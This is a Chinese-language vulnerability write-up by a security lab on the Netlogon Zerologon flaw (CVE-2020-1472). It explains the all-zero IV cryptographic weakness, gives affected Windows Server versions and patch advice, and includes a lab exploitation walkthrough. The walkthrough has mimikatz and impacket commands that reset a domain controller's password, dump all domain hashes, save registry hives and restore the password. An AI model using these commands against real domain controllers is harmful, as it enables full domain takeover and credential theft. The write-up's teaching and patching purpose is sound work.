NetLogon远程协议是一种在Windows 域控上使用的RPC 接口,被用于各种与用户和机器认证相关的任务。最常用于让用户使用NTLM协议登录服务器,也用于NTP响应认证以及更新计算机域密码。
微软MSRC于8月11日发布了Netlogon 特权提升漏洞安全通告。此漏洞CVE编号CVE-2020-1472,CVSS评分:10.0。由Secura公司的Tom Tervoort发现提交并命名为ZeroLogon。
0x02漏洞分析Netlogon协议使用的是自定义的加密协议来让客户端(加入域的计算机)和服务器(域控制器)向对方证明加密,此共享加密是客户端计算机的HASH账户密码。Netlogon会话由客户端启动,因此客户端和服务器先交换随机的8个字节,客户端和服务器都先将密钥派生函数加密,然后客户端使用此会话密钥用于计算客户端凭据,服务器则重新计算相同的凭证,如果匹配,客户端必须知道计算机密码,因此客户端必须知道会话密钥。
在身份验证握手阶段时,双方可以协商是否加密和加密认证,如果加密被禁用,所有执行重要操作必须仍然包含认证值,也是用会话密钥计算的,该协议的通信流程如下:
攻击过程分析:
由于微软在Netlogon协议中进行AES加密运算过程中,使用了AES-CFB8模式并且错误的将IV设置为全零,这使得攻击者在明文(client chanllenge)、IV等要素可控的情况下,存在较高概率使得产生的密文为全零。
为了能够加密会话,必须指定初始化向量(IV)引导加密过程,这个IV值必须是唯一的,并为每个单独的随机生成用同一密钥加密的密文。
但是ComputeLogOnCreddential函数定义的IV是固定的,应该由16零字节组成,而AES-CFB8要求IV是随机的,对256个密钥中的1个将AES-CFB8加密应用全零字节明文将导致都是零密文。
Netlogon协议身份认证采用了挑战-响应机制,其中加密算法是AES-CFB8,并且IV默认全零,导致了该漏洞产生。又因为认证次数没做限制,签名功能客户端默认可选,使得漏洞可以被利用。
0x03利用过程漏洞测试环境:
攻击机:10.10.10.6
域控:10.10.10.1
1.1 首先使用POC检测漏洞是否存在,如果存在会重置域控存储在域中(ntds.dit)的凭证,也就是将域控机器密码替换为空
还可以通过mimikatz直接进行漏洞检测
mimikatz “lsadump::zerologon /target:域控ip /account:域控主机名”
1.2 使用impacket工具包 secretsdump工具dump导出域内所有用户
hash python secretsdump.py hack.cn/DC$@10.10.10.1 -no-pass
1.3 利用导出的ntlm hash使用impacket工具包wmiexec.py工具使用NTLMhash登录域控
1.4 导出原sam.save、system.save、security.save文件本地导出hash用于恢复域控密码
reg save HKLMSYSTEM system.save reg save HKLMSAM sam.save reg save HKLMSECURITY security.save get system.save get sam.save get security.save
下载完成后进行删除操作
del system.save del sam.save del security.save
1.5 使用mimikatz对导出下载的sam.save、system.save、security.save文件进行解密,用于后续密码恢复
python secretsdump.py-sam sam.save-system system.save-security security.save LOCAL
1.6 通过导出的原NTLMhash恢复域控密码
python reinstall_original_pw.py DC 10.10.10.1 e9d755619bd2c460cd769560584c6d0b
1.7 再次使用空密码尝试远程导出域控的ntlmhash,检测密码是否恢复成功,此时已经不能获取到hash了
0x04漏洞修复漏洞影响范围:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server
Core installation)Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
由于此漏洞影响范围较广,建议点击以下链接自行寻找符合操作系统版本的漏洞补丁,并进行补丁下载安装。
https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2020-14720x05总结
CVE-2020-1472(Zerologon)是一个比较好用的域内提权漏洞,影响Windows sever的多个版本,只要攻击者能访问到目标并且知道目标计算机名即可,在内网中是一个非常严重的漏洞,攻击者在利用漏洞时还会存在使域控脱域的风险。未打补丁机器的需要尽快修补。
声明以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。



